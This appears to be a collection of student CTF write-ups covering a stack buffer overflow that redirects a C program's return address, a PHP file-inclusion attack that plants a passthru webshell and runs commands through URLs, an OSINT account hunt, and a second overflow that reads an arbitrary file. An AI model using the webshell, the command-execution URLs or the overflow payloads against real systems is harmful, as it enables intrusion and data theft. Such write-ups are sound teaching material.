Writeup: return_for_adventure

In order to provide peak performance, all games should be written in the C language, which is the fastest language, which is the best for gaming. OSUSEC’s crowning technical achievement, return_for_adventure, is further optimized through the removal of bloated features such as the stack canary and PIE.

Let’s play it!

Welcome to the start of your adventure! Before we begin, please choose one of the following options:
1: Start a new game
2: Jump to specific chapter
3: Load game
Chapters exist?
1: Start a new game
2: Jump to specific chapter
3: Load game
1: Start a new game
2: Jump to specific chapter
3: Load game
Let's start!
You awaken after a record sleep of 3 hours, climb out of bed and:
1: you look at your alarm clock
2: you go downstairs and eat breakfast
3: fall back asleep
What breakfast do you want to eat?
I guess if thats what u want…
LMAO no flag for u. Take this L

The string seems promising:

Welcome to the start of your adventure! Before we begin, please choose one of the following options:
1: Start a new game
2: Jump to specific chapter
3: Load game
Let's start!
You awaken after a record sleep of 3 hours, climb out of bed and:
1: you look at your alarm clock
2: you go downstairs and eat breakfast
3: fall back asleep
What breakfast do you want to eat?
I guess if thats what u want…
[1] 215155 segmentation fault (core dumped) ./return_for_adventure

Cool! Let’s see what we can do in Ghidra.

void huh_whats_this_function_for(int param_1,int param_2)

  char local_33 [35];
  FILE *local_10;
  if ((param_1 == -0x74520ff3) && (param_2 == -0x54524542)) {
    printf("Here is the correct flag: ");
    local_10 = fopen("flag.txt","r");
void breakfast(void)

  char local_24 [20];
  int local_10;
  puts("What breakfast do you want to eat?");
  do {
    local_10 = getchar();
    if (local_10 == 10) break;
  } while (local_10 != -1);
  puts("I guess if thats what u want...");

We crashed in breakfast earlier, and it looks like there’s 200 bytes we can read into a 20 byte buffer. More than enough to overflow some memory.

Every time a program calls a function, it stacks this structure on top of the stack. See how intuitive that is?! Why do we always draw it backwards? I hate it! Ok ok I know that memory addresses are high on the bottom now but like, that makes the most sense.

Anyways, imagine a tower(or a stack) of these structures on top of one another. If you have access to write past your locals, you can modify the base pointer, return address, and parameters of the function you’re in!

Let’s start off by modifying the return address while we’re in breakfast. This way, we can trick the program into returning to an arbitrary function.

Ghidra shows that we begin at address 0x08048646, so that’s what we’ll load into the return address.

Ghidra shows that the breakfast function contains 36 bytes of stuff above the return address. I’m honestly not totally sure what these bytes are. Is this related to byte alignment? Some undefined4 types are 8 bytes apart. Anyways, we’ll need to overwrite those 36 bytes. After that, we’ll have reached our return address, which we’ll append to our payload.

With a payload of 0x24 arbitrary bytes + 0x08048646, we get:

[+] Starting local process './return_for_adventure': pid 150205
[*] Switching to interactive mode
3: fall back asleep
What breakfast do you want to eat?
I guess if thats what u want...

We don’t get the “LMAO no flag for u. Take this L” message or a crash, so we successfully changed program flow!

Looking again at our vulnerable function:

  if ((param_1 == L'\x8badf00d') && (param_2 == L'\xabadbabe')) {
    printf("Here is the correct flag: ");
    local_10 = fopen("flag.txt","r");

We see that it wants the parameters to be equal to (in hex) 0x8badf00d and 0xabadbabe. If we append these to our payload, we won’t quite be in the right place, however – remember the base pointer? If we add an address worth of bytes to our payload, the next bytes will be overwriting the parameters section of the stack frame.

Our final payload should be 0x24 arbitrary bytes + 0x08048646 + random address (4 bytes in this architecture) + 0x8badf00d + 0xabadbabe.

With this, we get

3: fall back asleep
What breakfast do you want to eat?
I guess if thats what u want...
Here is the correct flag: osu{d0n'7_b3_57up1d_4nd_0v3rfl0w}
[*] Got EOF while reading in interactive


Writeup: Flagtastic Falafel

NAME: flagtastic_falafel
DESCRIPTION: Flagtastic Falafel just got a brand new online ordering website! The programmer told me they followed all of the security advice they heard from everyone, so it is super secure. However, with a name like “Flagtastic Falafel” there’s bound to be a flag sitting around somewhere, and I know how much y’all like flags…

Navigating to the website, we find a first-rate falafel form. Frippery foregone, fully fillable fields for finance figures following forename furnish functionality for fanatics. Fantastic!

Note: This appears to be topped with the deadly-yet-psychoactive Amanita Muscaria! Exciting!

Fungal falafel freshly fried for fungal-fervent folk! Furthermore, firewall-finessers found flaws festering forth from fricked-up files.

❯ ls
fabled.php         fetid.php        frozen.php
fake.php           fibrous.php      fruit.php
famous.php         fizzy.php        fungal.php
fancy.php          flaming.php      futuristic.php
fantastic.php      foods.php        fuzzy.php
fashionable.php    freaky.php       images
fast.php           fresh.php        index.php
fattening.php      frightening.php  test.sqlite
ferromagnetic.php  frijoles.php
festive.php        frosty.php
❯ grep -rn Thanks
foods.php:35:echo("<p>Thanks for your order, "...


    # Flagtastic Falafel takes security very seriously, so credit card numbers are stored in files instead.

    # Generate a unique file name for this customer/credit card number
    $filename = bin2hex(random_bytes(20));
    $order_file = fopen("/orders/" . $filename, "w") or die("Unable to open order file for writing :-(");

    # Write order information to the file
    fwrite($order_file, "Customer Name: " . $_GET["name"] . "\n");
    fwrite($order_file, "Credit Card Number: " . $_GET["credit_card_number"] . "\n");
    fwrite($order_file, "Order: " . $_GET["food"] . "\n\n");

    # Close the file

    # Record other order information in database (don't worry, credit card data is not stored in database)
    $db = new SQLite3("/orders/orders.db");
    # No sql injection allowed!!
    $stmt = $db->prepare("INSERT INTO orders (customer_name_hash, order_filename) VALUES (?, ?)");
    # Only store hash of name for security!! Storing sensitive information in the database is a no no.
    $name_hash = hash("md5", $_GET["name"]);
    $stmt->bindValue(1, $name_hash);
    $stmt->bindValue(2, $filename);

        <title>Flagtastic Falafel</title>
            # No XSS allowed!! (we'll have an XSS challenge at some point, but this isn't it)
            echo("<p>Thanks for your order, " . htmlspecialchars($_GET["name"]) . "!</p>");
            echo("<p>We received your credit card number as " . htmlspecialchars($_GET["credit_card_number"]) . ". Please ensure that it is incorrect, and submit your order again if it isn't. Thank you!</p>");
            echo("<p>Here's what you ordered:</p>");


I’m trying to turn my brain off f-word mode but I’m finding it difficult. Anyways, let’s find some festering flaws in these files.

This code:

  1. Generates a random filename
  2. Writes the customer’s name, number, and food to that file
  3. Inserts that filename and a md5 hash of the customer’s name into a database
  4. The database is at /orders/orders.db, by the way
  5. Includes a file on the page. (food, a URL-passed parameter)

It’s looking promising. If we can figure out the name of a file on the server, we can pass it in the URL as the food parameter. If it’s PHP, the server will run whatever code is in that file. In our case, the contents of the file is our name, credit card number, and order. We have control over the name and therefore its hash, so hopefully this isn’t too difficult.

First, let’s dump the database through the food parameter. %2F is a URL-encoded slash.


This is messy and I couldn’t load it into a database viewer, so it was necessary to print it as base64:


This works (trust me), and we can search for our order with SELECT * FROM 'orders' where customer_name_hash = "6c63212ab48e8401eaf6b59b95d816a9". The hash is md5(“paul”).

This gives us a filename, and requesting http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/e633fd358812c5346a1c25ad4f3a55c34abb6aff, where the random bits at the end are the order_filename matching our customer_name_hash.


OK, so we can render the contents of a file. What happens if this content is PHP? And what happens if it’s a PHP webshell? Let’s make another order with our financial information set to a webshell that reads an arbitrary system command: <?php passthru($_GET["cmd"]) ?>.

So, setting that as our credit card and going through the same process will let us execute any command – let’s start with ls, as our flag will surely be in the same directory as the server, right?


Nailed it! Now all we’ve got to do is swap ls with cat flag.txt and we’re golden!

Unbeleaguered, we carry on. find / -name flag.txt might show another flag.

/var/www/html/flag.txt /definitely_not_the_flag_dont_look_here/yeah_this_isnt_the_flag/turns_out_it_was_a_directory/haha_that_one_was_too/ok_enough_of_this_heres_the_flag/flag.txt /definitely_not_the_flag_dont_look_here/yeah_this_isnt_the_flag/turns_out_it_was_a_directory/haha_that_one_was_too/ok_enough_of_this_heres_the_flag/flag.txt/flag.txt /orders/flag.txt Order:

This is a lot to go through, so let’s read all the flags with find / -name flag.txt -exec cat {} \;

Our final URL payload is http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/02055275dfae65a04f377d12e085616dce777254&cmd=find%20/%20-name%20flag.txt%20-exec%20cat%20{}%20\;

Which prints out

Which gives us a link to a Youtube video that contains the flag!

Writeup: Slippin’ Witty

NAME: Slippin’ Witty
DESCRIPTION: You’re a detective working in the DoJ tasked with investigating a lawyer by the name of Witold Suzan for possible corruption. You’ve been informed by one of his coworkers that he uses four different social media platforms online. Find all four accounts owned by him.

Hi. I’m Paul Soodman. Did you know that you have rights? Constitution says you do.

The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.

Hmm, I don’t see anything about any tools listed on epieos. I’m sure the constitution says something about your right to bear 0days and cyberstalk your friends/enemies. America, baby! Let’s go searching!

Witold Suzan is a name worth a search, and we’re rewarded with a professional profile.

The resume includes an email, and some other information about our target’s educational and employment history. Also, part 2 of the flag. nam3dFlag

Digging into the email with epieos, we discover that Witold has accounts on Twitter (Flag Part 1: osu{k1d_) and Flickr (Flag Part 3: _b4d). These accounts are easy to find, and we get results by searching the name. Flickr gives very little information, but a screenshot posted to Twitter reveals that there is a Reddit account that Witold has open. It begins with “Anci,”, which is the same as his Twitter handle, so it’s safe to assume that it belongs to our target. Searching Reddit for “AncientFan” and Google for “AncientFan Reddit” gives nothing, so it’s on to another lead for now.

The oldest tweet on the account references even older, likely deleted tweets.

archive.org shows that he has some recorded history – interestingly referencing his “other account,” where he posted about interviewing to become a deputy district attorney.

Woohoo! We’ve found a post in a relevant subreddit by Ancient-Fan-2238.

We’ve got our guy! Combining all 4 parts of the flag is a success! Unfortunately, none of his posts are admissions of guilt. This guy’s good.

Google defends the swiveling roof-mounted scanning electron microscopes on its Street View cars, saying they ‘don’t reveal anything that couldn’t be seen by any pedestrian scanning your house with an electron microscope.’

Writeup: Stackulator

NAME: stackulator

First pwn of the season! And the second pwn of my life!

Welcome to my first calculator!
What is your name?:

Aw man. What a polite calculator. What a shame we have to pummel it with malicious input.

undefined8 main(void)

  int iVar1;
  undefined8 uVar2;
  long lVar3;
  undefined8 *puVar4;
  long in_FS_OFFSET;
  undefined8 local_88 [8];
  int local_48;
  undefined8 local_44;
  undefined8 local_3c;
  undefined8 local_30;
  undefined8 local_28;
  char local_20 [16];
  long local_10;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puVar4 = local_88;
  for (lVar3 = 0xe; lVar3 != 0; lVar3 = lVar3 + -1) {
    *puVar4 = 0;
    puVar4 = puVar4 + 1;
  local_44 = 0x6c2e636c61632f2e;
  local_3c = 0x676f;
  puts("Welcome to my first calculator!\n\nWhat is your name?:");
  fgets((char *)local_88,99,stdin); // Reads 99 bytes to local_88
  printf("\nHello %s",local_88);
  if (local_48 == 1) { // This seems important
  else {

OK, so we have an opportunity to write past the 64 bytes that are allocated to local_88. The following variable is local_48, which needs to be set to 1 to enter the debug menu. So if we send 64 bytes of gibberish, we can overwrite local_48. Appending 1 as a 4-byte little-endian integer gets us to the debug menu:

Select an option:
1) Receive a compliment
2) View log file
3) Get a random YouTube link
4) Show me an ASCII bee

This now gives us an option to read a file. More importantly, however, we can get a compliment:

You are good at making secure calculators



void debug_menu(char *param_1)

      if (local_40d == '2') {
        puts("\nLog contents:");
        local_40c = open(param_1,0);
        goto code_r0x00101396;

This reads a file that’s passed in by param_1. Which conveniently is just after the stuff you’ve overwritten. Now it is time to spend 20 minutes guessing the name of the flag. It’s not flag.txt or calc.log. 2 minutes after the challenge expires we will learn that the correct file is merely titled flag. I don’t know why I went so long without trying that. Appending that will get us the flag, so all is well!

Craft the exploit with a final payload of 64 bytes, the integer 1, and then “flag”, being sure to add a null terminator. Submitting this prints out the contents of a file named “flag”!